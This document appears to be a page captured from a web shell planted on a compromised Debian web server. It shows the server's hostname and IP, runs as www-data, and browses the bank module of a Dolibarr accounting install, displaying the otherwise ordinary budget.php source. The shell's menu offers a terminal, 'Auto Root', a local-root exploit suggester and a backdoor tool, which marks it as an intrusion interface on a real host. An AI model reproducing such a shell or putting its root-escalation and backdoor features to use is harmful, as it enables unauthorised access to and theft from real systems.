Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
compta /
bank /
Delete
Unzip
Name
Size
Permission
Date
Action
class
[ DIR ]
drwxr-x---
2025-11-08 11:17
various_payment
[ DIR ]
drwxr-x---
2025-11-08 11:17
account_statement_document.php
7.1
KB
-rwxr-x---
2023-04-04 15:52
annuel.php
15.09
KB
-rwxr-x---
2023-04-04 15:52
bankentries_list.php
71.69
KB
-rwxr-x---
2023-04-04 15:52
bilan.php
2.7
KB
-rwxr-x---
2023-04-04 15:52
budget.php
3.5
KB
-rwxr-x---
2023-04-04 15:52
card.php
42.77
KB
-rwxr-x---
2023-04-04 15:52
categ.php
5.39
KB
-rwxr-x---
2023-04-04 15:52
document.php
4.76
KB
-rwxr-x---
2023-04-04 15:52
graph.php
26.64
KB
-rwxr-x---
2023-04-04 15:52
info.php
2.58
KB
-rwxr-x---
2023-04-04 15:52
line.php
26.75
KB
-rwxr-x---
2023-04-04 15:52
list.php
30.65
KB
-rwxr-x---
2023-04-04 15:52
releve.php
26.63
KB
-rwxr-x---
2023-04-04 15:52
transfer.php
10.14
KB
-rwxr-x---
2023-04-04 15:52
treso.php
14.17
KB
-rwxr-x---
2023-04-04 15:52
Save
Rename
<?php /* Copyright (C) 2001-2003 Rodolphe Quiedeville <rodolphe@quiedeville.org> * Copyright (C) 2004-2010 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2005-2009 Regis Houssin <regis.houssin@inodbox.com> * Copyright (C) 2015 Jean-François Ferry <jfefe@aternatik.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/compta/bank/budget.php * \ingroup banque * \brief Page de budget */ // Load Dolibarr environment require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; // Load translation files required by the page $langs->loadLangs(array('banks', 'categories')); // Security check if ($user->socid) { $socid = $user->socid; } $result = restrictedArea($user, 'banque'); /* * View */ $companystatic = new Societe($db); $title = $langs->trans('ListTransactionsByCategory'); $help_url = 'EN:Module_Banks_and_Cash|FR:Module_Banques_et_Caisses|ES:Módulo_Bancos_y_Cajas'; llxHeader('', $title, $help_url); // List movements bu category for bank transactions print load_fiche_titre($langs->trans("BankTransactionByCategories"), '', 'bank_account'); print '<table class="noborder centpercent">'; print "<tr class=\"liste_titre\">"; print '<td>'.$langs->trans("Rubrique").'</td>'; print '<td class="right">'.$langs->trans("Nb").'</td>'; print '<td class="right">'.$langs->trans("Total").'</td>'; print '<td class="right">'.$langs->trans("Average").'</td>'; print "</tr>\n"; $sql = "SELECT sum(d.amount) as somme, count(*) as nombre, c.label, c.rowid "; $sql .= " FROM ".MAIN_DB_PREFIX."bank_categ as c"; $sql .= ", ".MAIN_DB_PREFIX."bank_class as l"; $sql .= ", ".MAIN_DB_PREFIX."bank as d"; $sql .= " WHERE c.entity = ".$conf->entity; $sql .= " AND c.rowid = l.fk_categ"; $sql .= " AND d.rowid = l.lineid"; $sql .= " GROUP BY c.label, c.rowid"; $sql .= " ORDER BY c.label"; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i = 0; $total = 0; $totalnb = 0; while ($i < $num) { $objp = $db->fetch_object($result); print '<tr class="oddeven">'; print "<td><a href=\"".DOL_URL_ROOT."/compta/bank/bankentries_list.php?bid=$objp->rowid\">$objp->label</a></td>"; print '<td class="right">'.$objp->nombre.'</td>'; print '<td class="right"><span class="amount">'.price(abs($objp->somme))."</span></td>"; print '<td class="right"><span class="amount">'.price(abs(price2num($objp->somme / $objp->nombre, 'MT')))."</span></td>"; print "</tr>"; $i++; $total += abs($objp->somme); $totalnb += $objp->nombre; } $db->free($result); print '<tr class="liste_total"><td colspan="2">'.$langs->trans("Total").'</td>'; print '<td class="liste_total right">'.price($total).'</td>'; print '<td colspan="2" class="liste_total right">'.price($totalnb ?price2num($total / $totalnb, 'MT') : 0).'</td></tr>'; } else { dol_print_error($db); } print "</table>"; // End of page llxFooter(); $db->close();